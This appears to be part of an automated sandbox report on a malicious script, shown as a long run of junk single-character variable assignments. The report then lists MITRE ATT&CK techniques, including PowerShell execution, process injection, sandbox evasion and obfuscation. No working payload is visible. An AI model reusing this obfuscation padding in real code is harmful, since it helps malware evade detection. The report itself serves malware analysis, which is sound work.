433	zotaqbe = "A";
434	zotaqbe = "l";
435	zotaqbe = "a";
436	zotaqbe = "R";
437	zotaqbe = "U";
438	zotaqbe = "B";
439	zotaqbe = "h";
440	bbfcnjwec = "t";
441	bbfcnjwec = "n";
442	bbfcnjwec = "d";
443	bbfcnjwec = "r";
444	bbfcnjwec = "G";
445	bbfcnjwec = "v";
446	bbfcnjwec = "r";
447	bbfcnjwec = "m";
448	bbfcnjwec = "A";
449	bbfcnjwec = "R";
450	bbfcnjwec = "Y";
451	bbfcnjwec = "J";
452	bbfcnjwec = "J";
453	bbfcnjwec = "N";
454	bbfcnjwec = "w";
455	bbfcnjwec = "X";
456	bbfcnjwec = "r";
457	bbfcnjwec = "k";
458	bbfcnjwec = "d";
459	bbfcnjwec = "t";
460	bbfcnjwec = "k";
461	xzume = "h";
462	xzume = "G";
463	xzume = "V";
464	xzume = "E";
465	xzume = "y";
466	xzume = "y";
467	xzume = "c";
468	xzume = "O";
469	xzume = "x";
470	xzume = "F";
471	xzume = "z";
472	xzume = "W";
473	xzume = "L";
474	xzume = "u";
475	xzume = "g";
476	xzume = "Z";
477	xzume = "H";
478	xzume = "Y";
479	xzume = "H";
480	ktflzmpop = "c";
481	ktflzmpop = "V";
482	ktflzmpop = "B";
483	ktflzmpop = "1";
484	dyfbck = "q";
485	dyfbck = "x";
486	dyfbck = "D";
487	dyfbck = "c";
488	dyfbck = "F";
489	dyfbck = "E";
490	dyfbck = "y";
491	dyfbck = "W";
492	dyfbck = "T";
493	dyfbck = "C";
494	dyfbck = "k";
495	dyfbck = "J";
496	dyfbck = "u";
497	dyfbck = "S";
498	dyfbck = "u";
499	dyfbck = "j";
500	dyfbck = "V";
501	dyfbck = "z";
502	dyfbck = "_";
503	bocinpgtx = "x";
504	bocinpgtx = "j";
505	bocinpgtx = "q";
506	bocinpgtx = "d";
507	bocinpgtx = "b";
508	bocinpgtx = "I";
509	bocinpgtx = "R";
510	bocinpgtx = "l";
511	bocinpgtx = "V";
512	bocinpgtx = "v";
513	bocinpgtx = "v";
514	bocinpgtx = "Q";
515	bocinpgtx = "M";
516	bocinpgtx = "r";
517	bocinpgtx = "J";
518	bocinpgtx = "P";
519	bocinpgtx = "d";
520	bocinpgtx = "R";
521	bocinpgtx = "m";
522	bocinpgtx = "B";
523	bocinpgtx = "l";
524	bocinpgtx = "t";
525	bocinpgtx = "p";
526	bocinpgtx = "H";
527	bocinpgtx = "c";
528	bocinpgtx = "h";
529	bocinpgtx = "h";
530	bocinpgtx = "R";
531	bocinpgtx = "T";
532	bocinpgtx = "&";
533	kzsut = "x";
534	kzsut = "f";
535	kzsut = "Q";
536	kzsut = "u";
537	kzsut = "x";
538	kzsut = "J";
539	kzsut = "C";
540	kzsut = "c";
541	kzsut = "p";
542	kzsut = "y";
543	kzsut = "O";
544	kzsut = "y";
545	kzsut = "c";
546	kzsut = "h";
547	kzsut = "U";
548	kzsut = "T";
549	kzsut = "F";
550	kzsut = "P";
551	kzsut = "C";
552	kzsut = "B";
553	kzsut = "t";
554	kzsut = "e";
555	kzsut = "q";
556	kzsut = "h";
557	kzsut = "Q";
558	kzsut = "M";
559	kzsut = "P";
560	kzsut = "X";
561	kzsut = "Y";
562	kzsut = "n";
563	kzsut = "-";
564	wmqoqrir = "b";
565	wmqoqrir = "y";
566	wmqoqrir = "H";
567	wmqoqrir = "U";
568	wmqoqrir = "h";
569	wmqoqrir = "o";
570	wmqoqrir = "t";
571	wmqoqrir = "F";
572	wmqoqrir = "K";
573	wmqoqrir = "r";
574	wmqoqrir = "e";
575	wmqoqrir = "J";
576	wmqoqrir = "k";
577	wmqoqrir = "v";
578	wmqoqrir = "M";
579	wmqoqrir = "q";
580	wmqoqrir = "n";
581	wmqoqrir = "H";
582	wmqoqrir = "J";
583	wmqoqrir = "s";
584	wmqoqrir = "g";
585	wmqoqrir = "Q";
586	wmqoqrir = "e";
587	wmqoqrir = "R";
588	wmqoqrir = "x";
589	wmqoqrir = "P";
590	wmqoqrir = "b";
591	wmqoqrir = "P";
592	wmqoqrir = "n";
593	wmqoqrir = "z";
594	wmqoqrir = "c";
595	wmqoqrir = "w";
596	wmqoqrir = "a";
597	wmqoqrir = "p";
598	wmqoqrir = "n";
599	wmqoqrir = "D";
600	wmqoqrir = "t";
601	wmqoqrir = "T";
602	wmqoqrir = "a";
603	wmqoqrir = "W";
604	wmqoqrir = "t";
605	wmqoqrir = "@";
606	hdypzjn = "C";
607	hdypzjn = "i";
608	hdypzjn = "m";
609	hdypzjn = "s";
610	hdypzjn = "s";
611	hdypzjn = "L";
612	hdypzjn = "h";
613	hdypzjn = "g";
614	hdypzjn = "Q";
615	hdypzjn = "T";
616	hdypzjn = "E";
617	hdypzjn = "E";
618	hdypzjn = "i";
619	muoxmsap = "X";
620	muoxmsap = "l";
621	muoxmsap = "A";
622	muoxmsap = "k";
623	muoxmsap = "v";
624	muoxmsap = "J";
625	muoxmsap = "n";
626	muoxmsap = "K";
627	muoxmsap = "A";
628	muoxmsap = "X";
629	muoxmsap = "N";
630	muoxmsap = "V";
631	muoxmsap = "u";
632	muoxmsap = "M";
633	muoxmsap = "T";
634	muoxmsap = "w";
635	muoxmsap = "C";
636	muoxmsap = "P";
637	muoxmsap = "O";
638	muoxmsap = "Y";
639	muoxmsap = "M";
640	muoxmsap = "S";
641	muoxmsap = "s";
642	muoxmsap = "x";
643	muoxmsap = "y";
644	muoxmsap = "p";
645	muoxmsap = "d";
646	muoxmsap = "q";
647	muoxmsap = "b";
648	muoxmsap = "8";
649	updybvlu = "g";
650	updybvlu = "p";
651	updybvlu = "k";
652	updybvlu = "z";
653	updybvlu = "q";
654	updybvlu = "G";
655	updybvlu = "E";
656	updybvlu = "b";
657	updybvlu = "A";
658	updybvlu = "w";
659	updybvlu = "W";
660	updybvlu = "P";
661	updybvlu = "O";
662	updybvlu = "P";
663	updybvlu = "j";
664	updybvlu = "W";
665	updybvlu = "A";
666	updybvlu = "N";
667	updybvlu = "k";
668	updybvlu = "A";
669	updybvlu = "b";
670	updybvlu = "b";
671	updybvlu = "x";
672	updybvlu = "J";
673	updybvlu = "i";
674	updybvlu = "W";
675	updybvlu = "N";
676	updybvlu = "y";
677	updybvlu = "M";
678	updybvlu = "k";
679	updybvlu = "o";
680	updybvlu = "F";
681	updybvlu = "Q";
682	updybvlu = "h";
683	updybvlu = "E";
684	updybvlu = "v";
685	updybvlu = "I";
686	updybvlu = "o";
687	updybvlu = "o";
688	updybvlu = " ";
689	vkimjn = "u";
690	vkimjn = "l";
691	vkimjn = "y";
692	vkimjn = "z";
693	vkimjn = "Z";
694	vkimjn = "f";
695	vkimjn = "c";
696	vkimjn = "t";
697	vkimjn = "p";
698	vkimjn = "P";
699	vkimjn = "c";
700	vkimjn = "v";
701	vkimjn = "m";
702	vkimjn = "g";
703	vkimjn = "y";
704	vkimjn = "O";
705	vkimjn = "I";
706	vkimjn = "b";
707	vkimjn = "p";
708	vkimjn = "w";
709	vkimjn = "c";
710	vkimjn = "D";
711	vkimjn = "K";
712	vkimjn = "J";
713	vkimjn = "Y";
714	vkimjn = "E";
715	vkimjn = "z";
716	vkimjn = "w";
717	vkimjn = "y";
718	vkimjn = "T";
719	vkimjn = "G";
720	vkimjn = "l";
721	vkimjn = "J";
722	vkimjn = "E";
723	vkimjn = "u";
724	vkimjn = "w";
725	vkimjn = "t";
726	vkimjn = "u";
727	vroamycbe = "i";
728	vroamycbe = "n";
729	hthfnwea = "G";
730	hthfnwea = "a";
731	hthfnwea = "G";
732	hthfnwea = "X";
733	hthfnwea = "e";
734	hthfnwea = "t";
735	hthfnwea = "I";
736	hthfnwea = "P";
737	hthfnwea = "s";
738	hthfnwea = "T";
739	rtkfy = "Y";
740	rtkfy = "W";
741	rtkfy = "S";
742	rtkfy = "h";
743	rtkfy = "f";
744	rtkfy = "o";
745	rtkfy = "E";
746	rtkfy = "i";
747	rtkfy = "q";
748	rtkfy = "d";
749	rtkfy = "n";
750	rtkfy = "N";
751	rtkfy = "G";
752	rtkfy = "T";
753	rtkfy = "o";
754	rtkfy = "y";
755	rtkfy = "c";
756	rtkfy = "r";
757	rtkfy = "n";
758	rtkfy = "z";
759	rtkfy = "Q";
760	rtkfy = "v";
761	rtkfy = "U";
762	psrmjkzlu = "D";
763	psrmjkzlu = "i";
764	psrmjkzlu = "V";
765	psrmjkzlu = "E";
766	psrmjkzlu = "s";
767	psrmjkzlu = "N";
768	psrmjkzlu = "j";
769	psrmjkzlu = "B";
770	psrmjkzlu = "o";
771	psrmjkzlu = "V";
772	psrmjkzlu = "v";
773	nhroen = "R";
774	nhroen = "T";
775	nhroen = "l";
776	nhroen = "m";
777	nhroen = "l";
778	nhroen = "i";
779	nhroen = "s";
780	nhroen = "A";
781	nhroen = "T";
782	nhroen = "P";
783	nhroen = "F";
784	nhroen = "I";
785	nhroen = "0";
786	igxpfix = "f";
787	igxpfix = "f";
788	igxpfix = "e";
789	igxpfix = "o";
790	igxpfix = "A";
791	igxpfix = "g";
792	igxpfix = "Y";
793	igxpfix = "U";
794	igxpfix = "p";
795	longytewz = "z";
796	longytewz = "m";
797	longytewz = "h";
798	longytewz = "N";
799	longytewz = "m";
800	longytewz = "J";
801	longytewz = "m";
802	longytewz = "o";
803	longytewz = "Y";
804	longytewz = "R";
805	longytewz = "N";
806	jvptgp = "V";
807	jvptgp = "z";
808	jvptgp = "H";
809	jvptgp = "W";
810	jvptgp = "e";
811	jvptgp = "h";
812	jvptgp = "S";
813	jvptgp = "Z";
814	jvptgp = "R";
815	jvptgp = "S";
816	jvptgp = "j";
817	jvptgp = "K";
818	jvptgp = "q";
819	jvptgp = "G";
820	jvptgp = "W";
821	jvptgp = "Y";
822	jvptgp = "N";
823	jvptgp = "k";
824	jvptgp = "C";
825	jvptgp = "N";
826	jvptgp = "g";
827	jvptgp = "O";
828	jvptgp = "v";
829	jvptgp = "y";
830	jvptgp = "O";
831	jvptgp = "m";
832	jvptgp = "t";
833	jvptgp = "e";
834	jvptgp = "Z";
835	jvptgp = "D";
836	jvptgp = "I";
837	jvptgp = "d";
838	jvptgp = "y";
839	jvptgp = "f";
840	mrlbqqn = "V";
841	mrlbqqn = "H";
842	mrlbqqn = "X";
843	mrlbqqn = "P";
844	mrlbqqn = "e";
845	mrlbqqn = "n";
846	mrlbqqn = "g";
847	mrlbqqn = "n";
848	mrlbqqn = "I";
849	mrlbqqn = "b";
850	mrlbqqn = "G";
851	mrlbqqn = "w";
852	mrlbqqn = "V";
853	mrlbqqn = "m";
854	mrlbqqn = "H";
855	mrlbqqn = "p";
856	mrlbqqn = "Q";
857	mrlbqqn = "Z";
858	mrlbqqn = "I";
859	mrlbqqn = "h";
860	mrlbqqn = "B";
861	mrlbqqn = "q";
862	mrlbqqn = "v";
863	mrlbqqn = "W";
864	mrlbqqn = "a";
865	mrlbqqn = "K";
866	mrlbqqn = "V";
867	mrlbqqn = "Z";
868	mrlbqqn = "x";
869	mrlbqqn = "P";
870	mrlbqqn = "W";
871	mrlbqqn = "k";
872	mrlbqqn = "D";
873	mrlbqqn = "P";
874	mrlbqqn = "h";
875	mrlbqqn = "u";
876	mrlbqqn = "X";
877	mrlbqqn = "x";
878	mrlbqqn = "O";
879	mrlbqqn = "F";
880	bbrmxtmn = "N";
881	bbrmxtmn = "J";
882	bbrmxtmn = "H";
883	bbrmxtmn = "D";
884	bbrmxtmn = "k";
885	bbrmxtmn = "a";
886	bbrmxtmn = "B";
887	bbrmxtmn = "x";
888	bbrmxtmn = "y";
889	bbrmxtmn = "R";
890	exutozc = "Z";
891	exutozc = "j";
892	exutozc = "V";
893	exutozc = "I";
894	exutozc = "U";
895	exutozc = "r";
896	exutozc = "L";
897	exutozc = "g";
898	exutozc = "D";
899	exutozc = "q";
900	exutozc = "p";
901	exutozc = "a";
902	pcqlf = "c";
903	pcqlf = "U";
904	pcqlf = "x";
905	pcqlf = "X";
906	pcqlf = "V";
907	pcqlf = "P";
908	pcqlf = "c";
909	qsitnpoq = "Z";
910	qsitnpoq = "Y";
911	qsitnpoq = "S";
912	qsitnpoq = "r";
913	qsitnpoq = "l";
914	qsitnpoq = "Z";
915	qsitnpoq = "i";
916	qsitnpoq = "l";
917	qsitnpoq = "g";
918	qsitnpoq = "R";
919	qsitnpoq = "K";
920	qsitnpoq = "T";
921	qsitnpoq = "m";
922	qsitnpoq = "T";
923	qsitnpoq = "Z";
924	qsitnpoq = "K";
925	qsitnpoq = "E";
926	qsitnpoq = "Z";
927	qsitnpoq = "S";
928	qsitnpoq = "P";
929	qsitnpoq = "F";
930	qsitnpoq = "T";
931	qsitnpoq = "r";
932	qsitnpoq = "T";
933	qsitnpoq = "u";
934	qsitnpoq = "D";
935	qsitnpoq = "H";
936	qsitnpoq = "e";
937	qsitnpoq = "g";
938	qsitnpoq = "V";
939	qsitnpoq = "g";
940	qsitnpoq = "D";
941	qsitnpoq = "I";
942	qsitnpoq = "F";
943	qsitnpoq = "D";
944	qsitnpoq = "G";
945	qsitnpoq = "P";
946	utftqxj = "Y";
947	utftqxj = "Y";
948	utftqxj = "W";
949	utftqxj = "l";
950	utftqxj = "X";
951	utftqxj = "T";
952	utftqxj = "l";
953	utftqxj = "T";
954	utftqxj = "B";
955	utftqxj = "E";
956	utftqxj = "y";
957	utftqxj = "Q";
958	utftqxj = "q";
959	utftqxj = "n";
960	utftqxj = "j";
961	utftqxj = "Y";
962	utftqxj = "A";
963	utftqxj = "g";
964	utftqxj = "X";
965	utftqxj = "c";
966	utftqxj = "A";
967	utftqxj = "f";
968	utftqxj = "c";
969	utftqxj = "k";
970	utftqxj = "C";
971	utftqxj = "Z";
972	utftqxj = "T";
973	utftqxj = "N";
974	utftqxj = "i";
975	utftqxj = "U";
976	utftqxj = "A";
977	utftqxj = "K";
978	mbgwjv = "J";
979	mbgwjv = "m";
980	mbgwjv = "g";
981	mbgwjv = "o";
982	mbgwjv = "b";
983	mbgwjv = "g";
984	mbgwjv = "o";
985	mbgwjv = "X";
986	mbgwjv = "G";
987	mbgwjv = "s";
988	mbgwjv = "I";
989	mbgwjv = "t";
990	mbgwjv = "T";
991	mbgwjv = "K";
992	mbgwjv = "j";
993	mbgwjv = "s";
994	mbgwjv = "a";
995	mbgwjv = "e";
996	mbgwjv = "g";
997	mbgwjv = "P";
998	mbgwjv = "o";
999	mbgwjv = "x";
1000	mbgwjv = "K";
1001	mbgwjv = "p";
1002	mbgwjv = "y";
1003	mbgwjv = "H";
1004	mbgwjv = "E";
1005	mbgwjv = "Y";
1006	mbgwjv = "e";
1007	mbgwjv = "b";
1008	mbgwjv = "g";
1009	mbgwjv = "G";
1010	mbgwjv = "D";
1011	mbgwjv = "s";
1012	mbgwjv = "P";
1013	mbgwjv = "/";
1014	fxvqpp = "U";
1015	fxvqpp = "Y";
1016	duvteq = "F";
1017	duvteq = "v";
1018	duvteq = "p";
1019	duvteq = "b";
1020	duvteq = "T";
1021	duvteq = "j";
1022	duvteq = "G";
1023	duvteq = "a";
1024	duvteq = "h";
1025	duvteq = "y";
1026	duvteq = "N";
1027	duvteq = "O";
1028	duvteq = "B";
1029	duvteq = "X";
1030	duvteq = "h";
1031	duvteq = "y";
1032	duvteq = "Q";
1033	duvteq = "X";
1034	duvteq = "X";
1035	duvteq = "s";
1036	duvteq = "x";
1037	duvteq = "N";
1038	duvteq = "E";
1039	duvteq = "b";
1040	jkkvbgnom = "X";
1041	jkkvbgnom = "u";
1042	jkkvbgnom = "S";
1043	jkkvbgnom = "v";
1044	jkkvbgnom = "c";
1045	jkkvbgnom = "j";
1046	jkkvbgnom = "E";
1047	jkkvbgnom = "R";
1048	jkkvbgnom = "t";
1049	jkkvbgnom = "f";
1050	jkkvbgnom = "r";
1051	jkkvbgnom = "V";
1052	jkkvbgnom = "d";
1053	jkkvbgnom = "N";
1054	jkkvbgnom = "w";
1055	jkkvbgnom = "T";
1056	jkkvbgnom = "q";
1057	jkkvbgnom = "d";
1058	jkkvbgnom = "y";
1059	jkkvbgnom = "j";
1060	jkkvbgnom = "f";
1061	jkkvbgnom = "p";
1062	jkkvbgnom = "C";
1063	jkkvbgnom = "y";
1064	jkkvbgnom = "y";
1065	jkkvbgnom = "l";
1066	jkkvbgnom = "M";
1067	jkkvbgnom = "q";
1068	jkkvbgnom = "s";
1069	ugzpsmm = "B";
1070	ugzpsmm = "i";
1071	ugzpsmm = "k";
1072	ugzpsmm = "s";
1073	ugzpsmm = "R";
1074	ugzpsmm = "X";
1075	ugzpsmm = "x";
1076	ugzpsmm = "N";
1077	ugzpsmm = "M";
1078	ugzpsmm = "V";
1079	ugzpsmm = "7";
1080	jjxng = "g";
1081	jjxng = "R";
1082	jjxng = "A";
1083	jjxng = "I";
1084	jjxng = "Q";
1085	jjxng = "A";
1086	jjxng = "Z";
1087	jjxng = "V";
1088	jjxng = "M";
1089	jjxng = "x";
1090	jjxng = "C";
1091	jjxng = "r";
1092	jjxng = "b";
1093	jjxng = "b";
1094	jjxng = "F";
1095	jjxng = "K";
1096	jjxng = "c";
1097	jjxng = "G";
1098	jjxng = "h";
1099	jjxng = "n";
1100	jjxng = "b";
1101	jjxng = "s";
1102	jjxng = "N";
1103	jjxng = "Y";
1104	jjxng = "N";
1105	jjxng = "C";
1106	jjxng = "v";
1107	jjxng = "c";
1108	jjxng = "S";
1109	jjxng = "u";
1110	jjxng = "G";
1111	jjxng = "X";
1112	jjxng = "l";
1113	jjxng = "D";
1114	jjxng = "g";
1115	oalub = "f";
1116	oalub = "l";
1117	oalub = "U";
1118	oalub = "R";
1119	oalub = "w";
1120	oalub = "c";
1121	oalub = "d";
1122	oalub = "m";
1123	oalub = "w";
1124	oalub = "d";
1125	oalub = "V";
1126	oalub = "v";
1127	oalub = "W";
1128	oalub = "I";
1129	oalub = "n";
1130	oalub = "e";
1131	oalub = "E";
1132	vrosjx = "U";
1133	vrosjx = "e";
1134	vrosjx = "h";
1135	vrosjx = "S";
1136	vrosjx = "K";
1137	vrosjx = "r";
1138	vrosjx = "H";
1139	vrosjx = "v";
1140	vrosjx = "h";
1141	vrosjx = "n";
1142	vrosjx = "c";
1143	vrosjx = "S";
1144	vrosjx = "A";
1145	vrosjx = "G";
1146	vrosjx = "j";
1147	vrosjx = "K";
1148	vrosjx = "u";
1149	vrosjx = "e";
1150	vrosjx = "s";
1151	vrosjx = "m";
1152	vrosjx = "v";
1153	vrosjx = "U";
1154	vrosjx = "B";
1155	vrosjx = "V";
1156	vrosjx = "I";
1157	vrosjx = "R";
1158	vrosjx = "%";
1159	afzxqjkdj = "l";
1160	afzxqjkdj = "H";
1161	afzxqjkdj = "H";
1162	afzxqjkdj = "c";
1163	afzxqjkdj = "d";
1164	afzxqjkdj = "S";
1165	afzxqjkdj = "R";
1166	afzxqjkdj = "K";
1167	afzxqjkdj = "e";
1168	afzxqjkdj = "i";
1169	afzxqjkdj = "d";
1170	lrpgl = "p";
1171	lrpgl = "U";
1172	lrpgl = "U";
1173	lrpgl = "P";
1174	lrpgl = "y";
1175	lrpgl = "k";
1176	lrpgl = "P";
1177	lrpgl = "w";
1178	lrpgl = "K";
1179	lrpgl = "Z";
1180	lrpgl = "f";
1181	lrpgl = "y";
1182	lrpgl = "Q";
1183	lrpgl = "y";
1184	lrpgl = "N";
1185	lrpgl = "n";
1186	lrpgl = "B";
1187	lrpgl = "H";
1188	lrpgl = "n";
1189	lrpgl = "G";
1190	lrpgl = "x";
1191	lrpgl = "M";
1192	lrpgl = "V";
1193	lrpgl = "p";
1194	lrpgl = "K";
1195	lrpgl = "B";
1196	lrpgl = "F";
1197	lrpgl = "y";
1198	lrpgl = "n";
1199	lrpgl = "G";
1200	lrpgl = "H";
1201	lrpgl = "A";
1202	lrpgl = "C";
1203	lrpgl = "c";
1204	lrpgl = "S";
1205	pqnkm = "y";
1206	pqnkm = "D";
1207	pqnkm = "F";
1208	pqnkm = "t";
1209	pqnkm = "E";
1210	pqnkm = "V";
1211	pqnkm = "f";
1212	pqnkm = "d";
1213	pqnkm = "A";
1214	pqnkm = "g";
1215	pqnkm = "N";
1216	pqnkm = "m";
1217	pqnkm = "M";
1218	pqnkm = "R";
1219	pqnkm = "\"";
1220	rxvmqmja = "E";
1221	rxvmqmja = "g";
1222	rxvmqmja = "V";
1223	rxvmqmja = "B";
1224	rxvmqmja = "Z";
1225	rxvmqmja = "Q";
1226	rxvmqmja = "n";
1227	rxvmqmja = "Q";
1228	rxvmqmja = "n";
1229	rxvmqmja = "m";
1230	rxvmqmja = "p";
1231	rxvmqmja = "I";
1232	rxvmqmja = "J";
1233	rxvmqmja = "H";
1234	rxvmqmja = "R";
1235	rxvmqmja = "y";
1236	rxvmqmja = "R";
1237	rxvmqmja = "J";
1238	rxvmqmja = "T";
1239	rxvmqmja = "x";
1240	rxvmqmja = "z";
1241	rxvmqmja = "b";
1242	rxvmqmja = "A";
1243	rxvmqmja = "S";
1244	rxvmqmja = "L";
1245	rxvmqmja = "j";
1246	rxvmqmja = "x";
1247	rxvmqmja = "L";
1248	rxvmqmja = "A";
1249	rxvmqmja = "d";
1250	rxvmqmja = "g";
1251	rxvmqmja = "a";
1252	rxvmqmja = "X";
1253	rxvmqmja = "O";
1254	rxvmqmja = "j";
1255	rxvmqmja = "x";
1256	rxvmqmja = "T";
1257	rxvmqmja = "U";
1258	rxvmqmja = "W";
1259	rxvmqmja = "D";
1260	rxvmqmja = "k";
1261	rxvmqmja = "P";
1262	rxvmqmja = "b";
1263	rxvmqmja = "t";
1264	jzruz = "S";
1265	jzruz = "G";
1266	jzruz = "I";
1267	jzruz = "U";
1268	jzruz = "c";
1269	jzruz = "\\";
1270	xonqv = "p";
1271	xonqv = "M";
1272	xonqv = "K";
1273	xonqv = "l";
1274	xonqv = "E";
1275	xonqv = "c";
1276	xonqv = "l";
1277	xonqv = "w";
1278	xonqv = "w";
1279	xonqv = "d";
1280	xonqv = "r";
1281	xonqv = "B";
1282	xonqv = "p";
1283	xonqv = "S";
1284	xonqv = "o";
1285	xonqv = "z";
1286	xonqv = "G";
1287	xonqv = "J";
1288	xonqv = "c";
1289	xonqv = "v";
1290	xonqv = "Q";
1291	xonqv = "K";
1292	xonqv = "W";
1293	xonqv = "h";
1294	xonqv = "A";
1295	xonqv = "h";
1296	xonqv = "w";
1297	xonqv = "X";
1298	xonqv = "v";
1299	xonqv = "U";
1300	xonqv = "I";
1301	xonqv = "Z";
1302	xonqv = "R";
1303	xonqv = "R";
1304	xonqv = "D";
1305	xonqv = "Q";
1306	xonqv = "a";
1307	xonqv = "E";
1308	xonqv = "5";
1309	ijxfxmkva = "m";
1310	ijxfxmkva = "z";
1311	ijxfxmkva = "j";
1312	ijxfxmkva = "H";
1313	ijxfxmkva = "R";
1314	ijxfxmkva = "A";
1315	ijxfxmkva = "S";
1316	ijxfxmkva = "b";
1317	ijxfxmkva = "d";
1318	ijxfxmkva = "F";
1319	ijxfxmkva = "e";
1320	ijxfxmkva = "C";
1321	ijxfxmkva = "X";
1322	ijxfxmkva = "m";
1323	otdfyb = "B";
1324	otdfyb = "d";
1325	otdfyb = "G";
1326	otdfyb = "J";
1327	otdfyb = "a";
1328	otdfyb = "b";
1329	otdfyb = "n";
1330	otdfyb = "A";
1331	otdfyb = "h";
1332	otdfyb = "b";
1333	otdfyb = "Q";
1334	otdfyb = "z";
1335	otdfyb = "r";
1336	otdfyb = "q";
1337	mvjxzgytf = "L";
1338	mvjxzgytf = "X";
1339	mvjxzgytf = "j";
1340	mvjxzgytf = "i";
1341	mvjxzgytf = "P";
1342	mvjxzgytf = "Y";
1343	mvjxzgytf = "k";
1344	mvjxzgytf = "T";
1345	mvjxzgytf = "a";
1346	mvjxzgytf = "V";
1347	mvjxzgytf = "J";
1348	mvjxzgytf = "C";
1349	mvjxzgytf = "Y";
1350	mvjxzgytf = "Y";
1351	mvjxzgytf = "j";
1352	mvjxzgytf = "j";
1353	mvjxzgytf = "w";
1354	mvjxzgytf = "B";
1355	mvjxzgytf = "k";
1356	mvjxzgytf = "J";
1357	mvjxzgytf = "q";
1358	mvjxzgytf = "Q";
1359	mvjxzgytf = "V";
1360	mvjxzgytf = "Y";
1361	mvjxzgytf = "C";
1362	mvjxzgytf = "I";
1363	mvjxzgytf = "R";
1364	mvjxzgytf = "l";
1365	mvjxzgytf = "G";
1366	mvjxzgytf = "y";
1367	mvjxzgytf = "l";
1368	mvjxzgytf = "u";
1369	mvjxzgytf = "J";
1370	mvjxzgytf = "Q";
1371	mseanbfsq = "f";
1372	mseanbfsq = "j";
1373	mseanbfsq = "i";
1374	mseanbfsq = "j";
1375	mseanbfsq = "E";
1376	mseanbfsq = "K";
1377	mseanbfsq = "y";
1378	mseanbfsq = "w";
1379	mseanbfsq = "v";
1380	mseanbfsq = "c";
1381	mseanbfsq = "g";
1382	mseanbfsq = "I";
1383	mseanbfsq = "m";
1384	mseanbfsq = "m";
1385	mseanbfsq = "o";
1386	mseanbfsq = "Y";
1387	mseanbfsq = "x";
1388	mseanbfsq = "f";
1389	mseanbfsq = "B";
1390	mseanbfsq = "u";
1391	mseanbfsq = "P";
1392	mseanbfsq = "D";
1393	mseanbfsq = "v";
1394	mseanbfsq = "M";
1395	mseanbfsq = "j";
1396	mseanbfsq = "t";
1397	mseanbfsq = "z";
1398	mseanbfsq = "v";
1399	mseanbfsq = "w";
1400	lamipbrjb ( );	lamipbrjb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
